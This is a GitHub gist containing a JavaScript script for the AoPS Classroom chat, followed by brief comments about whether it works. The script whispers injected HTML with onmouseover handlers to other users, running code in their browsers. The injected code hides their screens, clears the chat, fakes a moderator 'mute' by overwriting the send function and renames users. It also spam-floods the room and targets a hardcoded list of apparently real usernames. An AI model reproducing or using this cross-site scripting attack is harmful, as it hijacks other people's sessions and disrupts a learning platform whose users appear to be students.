Last active
March 3, 2022 01:37
-
-
Save ekzhang/e2b8a587b638d710fa1d to your computer and use it in GitHub Desktop.
This is the code for hacking in commands in the AoPS Classroom. (e.g. ~~mute fz0718)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ROOM_ID = '971'; | |
USERS = '15Pandabears 18d0m1n4t3 24iam24 2isMyFavoritePrime 2kev111 2_confirm_ \ | |
a1267ab A2082 ABCDE abean077 abhi1664 abishek99 aboveaverage abvenkgoo \ | |
acegikmoqsuwy2000 ac_math ada211 adamov1 adamz Addicted2math adik7 agray42 \ | |
airborne238 ajayd ajeya_jr AK3141592 AKAL3 AkashD AkiBanana AkshajK akshaygowrish \ | |
alanchung Alanshenkerman Alan_Zhu albertczhang alex7 alexanderc alexlee89912000 \ | |
alphacapture Am9298 AMA2000 Amad271 AMathJedi amburger66 AmericanPi AMN300 \ | |
amplreneo anandiyer12 ANB andrewj2002 anduril anicool AnishS Anonymous_Wombat \ | |
Ant-on-knee antoncow Aopser101 aravindsidd archer4 Arithmophobia asdf333 \ | |
AstrapiGnosis atran246 aty1998 averyw17113532 awe-sum awesomeclaw AWu007 \ | |
azmath333 az_phx_brandon_jiang Bachman99 basketball8 Basketball889 bautistapc \ | |
BeastX-Men belieber bellyflop bengals Benq benw8888 BFYSharks bgu bharatputra \ | |
blasterboy blueberry7 bluephoenix BobaFett101 Bobalina Boomer born_in_1999 \ | |
brandonbigbrother brian22 brian6liu bryanxqchen buckyball butter67 CantonMathGuy \ | |
carjacker catstormtrooper cbroayzy chaoshadow37 charlie9987 charlieM chenjamin \ | |
chenlacey ChenthuranA chessinfinity1011 chezbgone2 Choarny ChrisBender \ | |
cimatecest01 Clairabelle cmw1234 coldsummer Cometsrock comp15 ConorTHD \ | |
cool_whip13 CorrectSeaweedSquare CountDown countingarithmetic CountofMC Cpi2728 \ | |
cpma213 crastybow crayon34 crcrt cstbear cumo99 cynthiadu czhu000 DaBoss333 \ | |
DaChickenInc danaxa Dandan2002 daniel98 DarkPikachu David9876543210 \ | |
DavidWang2003 DaVinci dawbyrd ddx dealwithit Deathranger999 Descartes Destructio \ | |
Dev0715 Difloso dilworthpenguins DivideBy0 dk1031 dli00105 dongjoon dontpanic \ | |
Dracae8 Draco Dragon321 dragonmaster3000 drazn98 DrMath droid347 drywood \ | |
dtxiong Dukejukem dvdz dvn dyang Eagle1729 Edelric Einstein314 ElfTracks \ | |
El_Ectric Emily01 empoleon enigma1 entropie Eodmg epic1 Epic777 epicpwn314 \ | |
Ericaops erichzg esun7 Ethan314 evpalaci ewan eygmath EYSigma ezahid1662 ezmath \ | |
Fall faqtimetravel feastdan1 fireclaw105 Flamedragon flaminpotato Flash12 \ | |
fluffyanimal flyingpurplepeopleeater flyrain fmasroor fprosk fractals FriendLuo84 \ | |
FTW FTWninja fz0718 fz2012 Galindon Gamabyte Ganaa15 Generic_Username geo31415926 \ | |
gigabyte175 glowwave gnizm goldibuck Gone googol.plex gstenger98 Guendabiaani \ | |
Gund gxah hanem happiface Happytycho haripingali HarvardMit hawaii2 heron \ | |
hexagram himym83 hmo1 Holmes999 hoopster3 howie2000 HowToMath Hrhkchts22 huange4 \ | |
huangs4 hwl0304 HYP135peppers Hyperspace01 h_h Iamteehee Iggy Iguana illumination \ | |
imaginaryperson in8 inavda InCtrl Infinite99 infinity99 ingenio Interest \ | |
Invisible ioanandrei ironak314 Irrational_phi IsaacJimenez IsabeltheCat \ | |
IvanDaniel j314andrews jacksonjimi Jackwin007 jam10307 jamsabot janabel \ | |
JayJuly jayrana jclash je37 jeff10 jeoseo jeremylu Jettywang828 JFC jhahn3030 \ | |
jhiscool jinksmysteryman jkoj25 joey8189681 Jonathan_zhou JoyAn jp617 jslam \ | |
jstenger Julielee justinyang jwang123 jyoon2 K6160 kad2361 kaiz99 kat123 \ | |
kausverma kealand kev2010 kevinchang13 keystoinfinity kgator Khoda kingsave3166 \ | |
Kiola kirbyhugs12 kjmaster KNX32542 ksun48 kunal01 kvavk kyc9479 kyleliu \ | |
laegolas lalaman125 lawrenceli LeibnizK lenbob librian2000 lifeisoneshot \ | |
lightning23 LightningX48 lightuppanda LilianW linpaws liopoil ljtydh LOalert \ | |
Longhair343 Lord.of.AMC LOTRFan123 lucasxia01 lucylai Luke Skywalker lvyiwei1 \ | |
macandcheese magicarrow Magikarp1 magittan ManaLuetha Manatiini Markus169 \ | |
massmath MasterJellal math2468 math868 mathawesomeness777 mathboxboro \ | |
mathcool2009 mathcruncher Mathdolphin mathdragon2000 mathfun5 mathfusion \ | |
mathgenius01 mathgenius64 mathguy623 mathlete478 Mathlete696 mathlobster \ | |
mathlover3737 mathmagic12 mathman523 mathmaster2012 matholympiad25 Mathpooh03 \ | |
MathSlayer4444 mathstar10 MathStudent2002 mathtastic MathWhizzz mathwizard888 \ | |
mathwizn mathymath math_boy Math_Fan matticus42 maverick8 maxplanck MaYang \ | |
mcdonalds106_7 mcshen99 Mediocrity melikepie mewtwomew mewyx Michael_Huang23 \ | |
mico mikechen minimario mjoshi mming mnoronha mohanxue612 monicawen morninglight \ | |
mota60ceng MPR msinghal MSTang Msu347 musclesu101 mxgo nalaxone44 nanorubiks \ | |
nasmith99 negativebplusorminus NeilOnnsu NewAlbionAcademy NextEinstein \ | |
NikhilMandava nikolatesla3327 nimblepanda ninjataco niraekjs Nobody289 \ | |
nonemptysubset nosaj number NumberNinja numbersandnumbers NZhong octahedron \ | |
Octophi odyssey-2001 oink okmath Oleksenko omgomgomgomgomg11235 Onomatopoeia \ | |
onta oyutenkhbat p2pcmlp PARISsaintGERMAIN PavelEtingof pedronr Phie11 \ | |
Philip7086 phiphth pi314159265358979 pi37 pidude pikachu55 pinetree1 PiToTheFirst \ | |
Piya31415 pi_Plus_45x23 Plasma_Vortex plwseven Poincare007 Polynomial primemath \ | |
ProbaBillity procalnumloco Psionic psolver1 Pumpkinboy314 PurplePancakes pyw2011 \ | |
pzh q12 qhm49 qwerty137 qwertyasdf007 qwertyu rahuljaijiv RahulKrishnan \ | |
raidermath6 ralph4imo raptorw raxu republicofalvinia Reshiram RichardMaS \ | |
RichardW rishad.islam rishimago Rivershine rjiang16 rlrw Rmehtany rmx15102 \ | |
rnarita room456 RPFeynman110 ryanyz10 r_b sajith sandrakong8 saraj2000 sarat \ | |
sarvottam SashaKirillov sb_wannabe schmiter seballfire3 Sebastian_ Sebastian_ECU \ | |
Shaddoll shaletome shaquanquan Shard1 SHARKYBOY shashank123 shawnZ2013 Sheepsftw \ | |
shtyhb sicilianfan SidArora sillyd simranK Sir_cumference slian2012 smartpgp \ | |
smath Smiley-Faces-88 Smokkala SnakeYu sojourner1 Solarpowereric \ | |
somepersonoverhere Sparkey1000 SparkleZ speedcuber3 squeakymouse srijon Sriraj \ | |
ssk9208 sssssssssssssss stan23456 starlord37 stephcurry steve123456 StormAlpha \ | |
sturdyoak2012 sujaykazi Sujoy suli sunny2000 SUNSTRIKE supercomputer Superwiz \ | |
swagchicken swamih swimmer swimmerstar swirlykick sx13 syuan01 syy1125 TacaEx \ | |
tanishq1 tau172 TesterOranj testor_dudzer TheChosenOneZZXD TheCrafter theeagle \ | |
TheKalkulator theone142857 thomasihkim tiger9812 tipro tnt123 Tommy2000 tongzhao \ | |
Toothless99 treemath trigfan trumpeter Tuxianeer tzhx ukulifeguard unahb \ | |
unbrace3 usrv va2010 Varunroy velraman Verit VietaFan vijayn vinayak-kumar \ | |
vincenthuang75025 VinVinB ViolinNinja256 vitriolhumor vkmoose11 vmaddur \ | |
voldymoldy vrjmath vsri56 Waffles965 WalkerTesla wangth100 Wawowiee wcao9311 \ | |
weeshree wehac weitiandi WhaleVomit william8 wisesimon Wisetree wjli WOLFHEART \ | |
WOOT wrenlovesphysics wu2481632 wuzhe XintatonyYang XMATH01 XtremeBanana5 xwang1 \ | |
xXQw3rtyXx xyuqing yao981113 yayups ybalkas yh16 yimingz89 yingdong yojan_sushi \ | |
youliamy yparesh yunyun333 yzhou135 zacchro zeus123 zhiweizhang zixia31415926535 \ | |
zkogsk2016 zoroa14 Zynaria _--__--_'.split(' '); | |
function whisper(m, t) { | |
Classroom.send({action: 'whisper', message: m, target: t, 'room-id': ROOM_ID}); | |
} | |
setInterval(function() { | |
var e = $('div.message-wrapper.is-me').last(); | |
if (e.hasClass('executed')) return; | |
var name = e[0].children[0].innerHTML; | |
var msg = e[0].children[1].innerHTML; | |
var cmdre = /~~([\w_]+)\s*([^~]+)?/ig; | |
var x; | |
while ((x = cmdre.exec(msg)) != null) { | |
var pre = x[1]; | |
var rest = x[2]; | |
if (pre.startsWith('spam')) { | |
var __nu = 1; | |
var end = 100; | |
if (rest) { | |
end = parseInt(rest); | |
} | |
var __iid = setInterval(function() { | |
Classroom.send({ | |
action: 'public-message', | |
message: __nu.toString(), | |
'room-id': ROOM_ID | |
}); | |
if (__nu == end) { | |
clearInterval(__iid) | |
} | |
__nu++; | |
}, 10); | |
} | |
else if (pre.startsWith('kick')) { | |
whisper('<style>* {display: none !important; }</style>', rest.trim()); | |
} | |
else if (pre.startsWith('transcript')) { | |
document.write('<textarea style="width: 100%; height: 100%">' + | |
$('body > div.dhxlayout_cont > div:nth-child(1) > div.dhx_cell_cont_layout > div > \ | |
div > div.dhx_cell_wins > div.dhx_cell_cont_wins > div > div > div:nth-child(1) > \ | |
div.dhx_cell_cont_layout.dhx_cell_cont_no_borders > div > div > div:nth-child(2) > \ | |
div.dhx_cell_cont_layout.dhx_cell_cont_no_borders > div > div > \ | |
div.dhx_cell_layout.output > div.dhx_cell_cont_layout > div')[0].outerHTML + | |
'</textarea>'); | |
} | |
else if (pre.startsWith('mute')) { | |
Classroom.send({ | |
action: 'whisper', | |
message: '<div style="position: relative; left: -150px; top: -20px; width: 500px; \ | |
height: 16px; background: rgb(248, 248, 248)"></div>\ | |
<div style="position: fixed; width: 100%; height: 100%; top: 0; left: 0; \ | |
z-index: 1000; background: transparent" onmouseover="Classroom.send = \ | |
function(){Classroom.socket.onPluginMessage(\ | |
{action: \'public-message-event\', latex: false, \ | |
message: \'You have been muted.\', \'message-id\': \ | |
424242, mod: true, \'room-id\': \'971\', \ | |
speaker: \'Spam Control\', \'speaker-id\': \ | |
424242});};$(\'.whisper-message-container\').remove();"></div>', | |
target: rest.trim(), | |
'room-id': ROOM_ID | |
}); | |
} | |
else if (pre.startsWith('clear')) { | |
USERS.forEach(function (t) { | |
Classroom.send({ | |
action: 'whisper', | |
message: '<div style="position: relative; left: -150px; top: -20px; \ | |
width: 500px; height: 16px; background: rgb(248, 248, 248)">\ | |
</div><div style="position: fixed; width: 100%; height: 100%; \ | |
top: 0; left: 0; z-index: 1000; background: transparent" \ | |
onmouseover="$(\'body > div.dhxlayout_cont > div:nth-child(1) > \ | |
div.dhx_cell_cont_layout > div > div > div.dhx_cell_wins > \ | |
div.dhx_cell_cont_wins > div > div > div:nth-child(1) > \ | |
div.dhx_cell_cont_layout.dhx_cell_cont_no_borders > div > div > \ | |
div:nth-child(2) > div.dhx_cell_cont_layout.dhx_cell_cont_no_borders > \ | |
div > div > div.dhx_cell_layout.output > div.dhx_cell_cont_layout > \ | |
div\')[0].innerHTML=\'\';$(\'.whisper-message-container\').remove();">\ | |
</div>', | |
target: t, | |
'room-id': ROOM_ID | |
}); | |
}); | |
} | |
else if (pre.startsWith('kill_whisper')) { | |
USERS.forEach(function(t) { | |
Classroom.send({ | |
action: "whisper", | |
message: '<div style="position: relative; left: -150px; top: -20px; \ | |
width: 500px; height: 16px; background: rgb(248, 248, 248)"></div>\ | |
<div style="position: fixed; width: 100%; height: 100%; top: 0; left: 0; \ | |
z-index: 1000; background: transparent" onmouseover="setInterval(\ | |
function(){$(\'.whisper-message-container\').remove()},100);"></div>', | |
target: t, | |
'room-id': ROOM_ID | |
}); | |
}); | |
} | |
else if (pre.startsWith('kill_spam')) { | |
USERS.forEach(function (t) { | |
if (t != 'fz0718' && t != 'chezbgone2') { | |
Classroom.send({ | |
action: 'whisper', | |
message: '<div style="position: relative; left: -150px; top: -20px; \ | |
width: 500px; height: 16px; background: rgb(248, 248, 248)">\ | |
</div><div style="position: fixed; width: 100%; height: 100%; \ | |
top: 0; left: 0; z-index: 1000; background: transparent" \ | |
onmouseover="var send = Classroom.send;xx = 0;Classroom.send = \ | |
function(payload) {xx++;if (xx > 10) {xx = 9999999999;\ | |
Classroom.socket.onPluginMessage(\ | |
{action: \'public-message-event\', latex: false, \ | |
message: \'You have been muted.\', \'message-id\': \ | |
424242, mod: true, \'room-id\': \'971\', \ | |
speaker: \'Spam Control\', \'speaker-id\': \ | |
424242});return;}send(payload);};\ | |
setInterval(function() {if (xx > 0) xx--;}, 1000);\ | |
$(\'.whisper-message-container\').remove();">\ | |
</div>', | |
target: t, | |
'room-id': ROOM_ID | |
}); | |
} | |
}); | |
} | |
else if (pre.startsWith('potato')) { | |
USERS.forEach(function (t) { | |
if (rest) rest = rest.trim(); | |
if (!rest) { | |
rest = 'potato'; | |
} | |
Classroom.send({ | |
action: 'whisper', | |
message: '<div style="position: relative; left: -150px; top: -20px; \ | |
width: 500px; height: 16px; background: rgb(248, 248, 248)">\ | |
</div><div style="position: fixed; width: 100%; height: 100%; \ | |
top: 0; left: 0; z-index: 1000; background: transparent" \ | |
onmouseover="$(\'.username\').html(\'' + rest + ':\');\ | |
$(\'.whisper-message-container\').remove();">\ | |
</div>', | |
target: t, | |
'room-id': ROOM_ID | |
}); | |
}); | |
} | |
else { | |
alert('Invalid command: "' + pre + '"'); | |
} | |
e.addClass('executed'); | |
} | |
}, 500); |
this doesn't work, but the conspiracies...
you have to change the room id and add in all the people for the long piece of code. otherwise it works
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
this doesn't work....